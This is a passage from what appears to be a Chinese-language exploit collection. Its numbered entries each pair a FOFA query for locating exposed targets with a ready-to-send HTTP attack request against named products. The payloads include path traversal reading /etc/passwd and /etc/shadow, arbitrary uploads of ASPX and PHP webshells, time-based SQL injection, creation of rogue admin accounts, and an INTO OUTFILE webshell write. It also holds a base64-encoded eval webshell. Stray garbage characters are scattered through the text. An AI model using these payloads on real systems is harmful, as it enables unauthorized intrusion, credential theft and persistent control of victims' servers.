<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
! A7 \  C9 k. j. i  _</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
! I$ {5 C) @! _  ^/ u
1 B; _) c5 T% ]+ s2 w& J: r
160. Sonatype Nexus Repository 3目录遍历与文件读取
3 P. t4 k" X+ _& {7 _* x  p) lCVE-2024-4956
9 J- v' N3 n5 D* NFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
" }4 h/ ^, H8 g. @( X( RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
( F  c: N0 n9 o) wConnection: close
Accept: */*
2 G: M+ Q) `" c8 s& f' a& Y2 VAccept-Language: en
: {3 g2 I8 z' RAccept-Encoding: gzip
& Z& T- k7 ?2 k8 D
; p9 o' A) g$ u
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
% v$ N, Y0 ?* d+ v' ^, S0 wPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
3 {) F$ @5 H- g5 g- zConnection: close
Content-Length: 445
$ U2 Q4 H2 c4 o% L# U9 I  rContent-Type: text/xml
" `: ~" n+ M" z, ZAccept-Encoding: gzip

+ b" l) ^4 V3 y9 l. O+ {, Z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
3 A) k' ~( u& @5 Z6 ^<ip>1</ip>
" F; r- l9 d; [/ D  _; R<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
- `3 X$ o( Q  P! Q) w<tag>3</tag>
</UploadResume>
</soap:Body>
+ l% B% S1 p% Y1 j# W# Y</soap:Envelope>


: l4 @! C& d  A% c) `" L- uhttp://x.x.x.x/dizxdell.aspx
4 L8 p; i3 |7 h% ^1 |, i
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
' d1 o# f, j- d# U3 p* oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
3 E/ F0 L  Q$ L/ `( G! ~- pConnection: close
6 Q2 t( T. R+ h  v7 Y- d+ @Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
; A; b# m3 T4 O8 jAccept-Encoding: gzip
2 h5 M' U% C" r& O
------WebKitFormBoundaryeegvclmyurlotuey
2 v3 p' g& q4 ]) y4 E/ w& MContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
. X2 f# G# A6 P1 D* C; I8 e
<% response.write("ujidwqfuuqjalgkvrpqy") %>
1 g; W% G) e( `* d2 S+ b( E------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
' H7 y$ j! H2 [: P
3 B2 U9 `$ g4 s! wupload
------WebKitFormBoundaryeegvclmyurlotuey
" W) V6 r) r8 h4 }Content-Disposition: form-data; name="responderId"
8 b4 V( C) B! X4 ]
& k! b; c* g7 L+ {+ }ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
. Z# H. C9 R, L* WContent-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
( V2 x( x# {; I" V

http://x.x.x.x/opt/resources/kjuhitjgk.aspx

) y5 b5 g& X5 D% y1 x) P163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
) P. R$ J8 s% E& o+ j9 W. IFOFA: icon_hash="-795291075"
% C* i/ ^( s/ B7 U- b7 gPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
5 I$ {! Y" z. z$ I/ S- Y, e, k$ cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
0 A" I  e( V2 r# I. DConnection: close
" U- s( A5 T2 l) O4 n4 DContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

% c7 e/ |/ a5 M" r: T  r! W1.php
- U! z- ]+ S7 m% U# o5 m------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
, _  L0 Q8 q( P0 `  rContent-Type: image/jpeg
' U. G( q) |3 [. G
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
. s1 l# n8 ^* q
9 M$ }0 w- ^3 \5 g, q, s; k
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
: _. E3 }9 B! Q! nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
, `) X9 R0 @2 W2 T5 `5 Q8 P3 GAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
; V6 r- u. B7 j6 B3 _# n3 qConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
$ r1 ?, I: `& R1 x: E4 m' wContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
* K: O3 X$ k9 t6 {' ]
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
, ?% E- Z5 O" m- o5 R) e- V' p1 b------dqdaieopnozbkapjacdbdthlvtlyl--
- F* D4 y2 A* ~- `

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 T1 O8 p% J7 @165. OrangeHRM 3.3.3 SQL 注入
' {6 ?# s0 K7 ]. g( ?. YCVE-2024-36428
& A# L1 \! c0 V% ?- z7 QFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


' M# x' U6 O9 E/ ^- j166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
5 M1 U; `- W; H7 r# O' f) ^/ K4 s, `Host:
Pragma: no-cache
Cache-Control: no-cache
0 R& A1 E' R' j* VUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. o8 `2 R+ u. O6 H  L2 u% }% nAccept-Encoding: gzip, deflate
/ L9 _9 K+ Z, F, x& p5 ^* ^Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
. g+ M0 D! J( w" B" aContent-Type: application/x-www-form-urlencoded
Content-Length: 89
5 g( \2 Z6 s; F( b8 ^
1 v7 D- Q: a. ?Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
3 f, @$ h# ?) v  KHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& w) d: D, D8 w8 P2 W9 vContent-Type: application/x-www-form-urlencoded
5 Y' S1 ^' H4 @( X) CAccept-Encoding: gzip, deflate
  M$ O' U, j. w, O/ N% UAccept: */*
Connection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
  w6 ~5 f# U) @" k; nFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
: m+ M! |2 o' Y$ Y. h' S2 O( UHost: your-ip
+ V' P! w! @; h8 U) K7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close



169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
2 S  h# @$ q# A: @GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
9 n# {. o- M6 sAccept-Encoding: gzip, deflate
1 k! R( z5 K. K6 O$ z% ^6 }Connection: close


/ C2 Y+ N  n" f1 M4 {. {
9 ]: }' f+ k( y; Z170. 宏景EHR DisplayExcelCustomReport 任意文件读取
) b  f! q8 i) M6 ^# UFOFA：body="/general/sys/hjaxmanage.js"
; R, r! B  c* J% F) \- Y( |POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
) T% e4 c" \  F/ ?" bHost: balalanengliang
2 t. j& t8 g0 V: [. {+ g$ t) OUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# |- G( N6 D* l' EContent-Type: application/x-www-form-urlencoded
7 c; l7 e* E3 l: [
' u: X8 g5 Y2 [4 _filename=../webapps/ROOT/WEB-INF/web.xml


6 Q" j( v5 h2 Y+ q5 G171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
) M% f: V" z6 O3 ?% H5 w- H) EGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
* Y+ B2 q" C* s4 ?) w- s1 DAccept: */*
/ L" T# T& T) I; I( Q) yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

2 p- D: M) ?0 o2 f: q
* K1 Z7 K% r& Q: F3 N) C
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
7 ?8 D* Z! `# s/ E. qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
; l* m+ f$ y4 m, y* yAccept: */*
Connection: keep-alive


! ]2 P, _* o  n6 y: U9 {: E* U! x
- _  }8 w! _, t+ V173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
2 M' G/ }1 Z1 t! @$ qPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
$ o$ ~3 P/ D6 q' K
aCSHELL/../../../../../../../etc/shadow
9 d8 r* Y9 z  D: \- T5 V: S9 `6 k
' {7 v" N. o, B
; m" N8 l9 V" ?0 D0 r; Y- |
8 O; A' t5 H4 t8 p174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
- I7 ^9 z+ A" P! J* @GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
  A0 s: \- A  S! B- |) OHost: your-ip
4 |- c  k% ]- `  Y  r0 {. cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( d0 _  J; ~# j) Z4 E( VAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
* T/ ~" B& l& jConnection: close


/ t7 |) [8 ?5 h
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
7 o$ R/ x* Z+ _' Z# e2 _FOFA：app="金和网络-金和OA"
& J- K' K; }3 d2 i* p' u2 hGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( j6 k# _/ i  a- ^! xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 q& J7 P0 V3 j2 r4 x  i3 u* oAccept-Encoding: gzip, deflate
Connection: close
( r; O9 z6 \$ DUpgrade-Insecure-Requests: 1
& H: |, v6 Y0 X

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
2 J, s2 i" k6 f* p3 e2 S* Y! bConnection: close

% f  ^: n: s' h% j; ]------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
; g& e5 F* B  V; IContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
* V6 \3 J# e7 B* x# E

' F6 q2 _6 u  M
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
6 k# Q4 L* l6 E. H5 G9 N  z+ e5 Q/userLogin.asp/../actionpolicy_status/../GR2200.cfg
  ?7 h# A. H% u9 o8 i6 W  _/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
$ P/ g3 D0 s$ t) F  k. Z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
7 M/ n6 d8 E+ T4 ]/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
2 W1 V5 q# s( Y! O' d8 C/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
- H2 a' u8 @' v. \/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
9 E! [" n* L1 t2 F/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
- u# h& `4 c7 ~6 l6 w/ o& B! A/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
/ H6 S! l' [& k  d. |4 |2 a" e

7 J  g3 h; ]' P8 L+ B: F4 ]' [* K5 l178. H3C校园网自助服务系统-flexfileupload-任意文件上传
0 D! Q. }, h4 K2 Y# Y, z6 p5 X% TFOFA：header="/selfservice"
9 L. i3 D! X1 M* w1 w$ [' U( lPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
9 x; W) o9 t5 BAccept-Encoding: gzip, deflate
Connection: close
* Q. e# m4 @' Z$ iContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
1 k2 r' ]$ u+ g" [0 H. tContent-Type: application/octet-stream
' }- n" n: f6 n' j0 {+ }& tContent-Length: 255
9 B* x) c; R* h- x+ I" a( g
7 T) L2 n, d1 P2 R& W/ ^12234
. t" I- Y; {8 O. h3 X-----------------aqutkea7vvanpqy3rh2l--
4 `( G- E# ?! K1 W- `1 O2 L
0 ?6 |; e6 a* t
GET /imc/primepush/%2e%2e/flex/12234.txt
+ {" V# h: i+ e
5 R- g# U' s0 ^6 L5 f. R# M6 d
/ t* L8 e: @$ [! R' B179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
6 V7 E# w6 f4 I$ s* N
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
) a% k) U) I  Z: ZHost: your-ip
& ]9 _) X/ O8 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 y2 Q+ Q7 c; PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 N. a+ [" m' M! D- g

. X' S4 \' r. v+ B181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
! d1 t% t: s; W7 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
# Z' D+ {3 S2 F% T7 b1 ?8 X. Z3 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
8 S" j  Z% l: V( g; Y" A) H. YConnection: close
% P0 u  ~/ ~4 G: ZContent-Type: application/x-www-form-urlencoded

1 i5 l9 R9 Y8 g# t- p0 `
4 C5 c  S( ]. D6 n; U# Oaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

1 f3 x) D( O  u7 E0 u) y& s
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
* C  S( z# o: \. X' W" QFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
. [# [, W6 p, ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, q  w% _) T" @+ g9 u. EConnection: close
Content-Type: application/x-www-form-urlencoded

( s0 e" l: j% R% {4 @7 ]% ?  o
6 Z' j7 |4 l9 t  G( @7 Iusername=test1234&pwd=test1234&savedays=1
, z% S5 E( u8 j! @; W9 N7 z

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
* j3 Y; P+ S1 n; W) S! u. gHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) h4 E, i( l* v7 x. rAccept-Encoding: gzip, deflate
Connection: close

- V7 M! \- W' U& }) h! G
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
2 T, J$ e' M3 m7 A; xFOFA：server="SunFull-Webs"
; S+ L2 ?3 B, |6 u" u! tPOST /soap/AddUser HTTP/1.1
Host: your-ip
0 P; [% q, H2 w2 Q4 |Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; M5 a$ P2 X& X+ k  t) t  e1 FAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' _1 K2 H% J+ I0 J( CX-Requested-With: XMLHttpRequest
7 q( ^' _5 i: H

% m# l9 Z- _8 e: i$ s# rinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


3 a& V2 x& x, _; A" B; j185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
5 j" ?) |1 s  @GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


+ a2 N- Z8 N: v8 a( ]186. F-logic DataCube3 SQL注入
CVE-2024-31750
+ V6 P* c; y8 y$ e* S3 BF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
* {  V, v/ m" `FOFA：title=="DataCube3"
. q, Z  C- A" C1 C- |* L0 K' d3 UPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 D& G% M& k3 k0 q4 Y  t. G) {Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

6 |) }/ ?( k7 |$ Y" Z
187. Mura CMS processAsyncObject SQL注入
, I' r' D9 U3 s0 k/ t. o6 @( K6 n/ [CVE-2024-32640
- R5 w/ ?/ M2 W9 EFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
8 k/ H- W$ T& V1 v! D, ]8 mHost: your-ip
Content-Type: application/x-www-form-urlencoded


  Y* q3 O& n* R4 w+ jobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


2 a# W  @0 E6 Z3 r188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
. v3 C3 j$ I- WGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  I  u" R( @' p& {6 N% C6 Y6 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ Y7 g- S& s& x! w& qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 H& p, H. l, K" X6 m) C" uConnection: close


: F& z" V' l) _  P7 o189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
+ F. a9 F* l, M. e4 h+ H8 UGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
/ g" R) H4 F9 l& \/ N( I( K% PHost: your-ip
$ N. p" Z( F  CUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) e0 K5 n: D& f+ s) F( B, e9 JAccept-Encoding: gzip, deflate
% {4 u# S3 Q- [0 ~- L2 }- B/ |% ]Accept-Language: zh-CN,zh;q=0.9
Connection: close

" I  M& Q& H* I& }2 i/ l, V
: P9 a' _+ l+ F+ n/ @190. 短视频矩阵营销系统 poihuoqu 任意文件读取
$ U  v+ B% {8 Y. z7 dFOFA：title=="短视频矩阵营销系统"
# P0 a$ e: {+ W5 a7 O9 SPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
& f& h- I5 I+ x9 T0 [6 D" f; v5 h/ MHost: your-ip
) }/ D& D! [; b6 \2 D4 X  c% q- `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 _! C" s0 c' S" u+ ]Content-Type: application/x-www-form-urlencoded
/ z3 m' e0 P# G' a; S& mAccept-Encoding: gzip, deflate
: T8 q  s6 L: b$ S* B9 O) t3 ?" XAccept-Language: zh-CN,zh;q=0.9
$ i# @# X4 Y5 w7 q: l0 D7 D
poi=file:///etc/passwd
2 D1 v5 P2 v5 O+ a+ M
' `1 k( y) c7 C* Y+ T: b! I# |
0 T5 p6 p. O# b& [2 ~( f191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
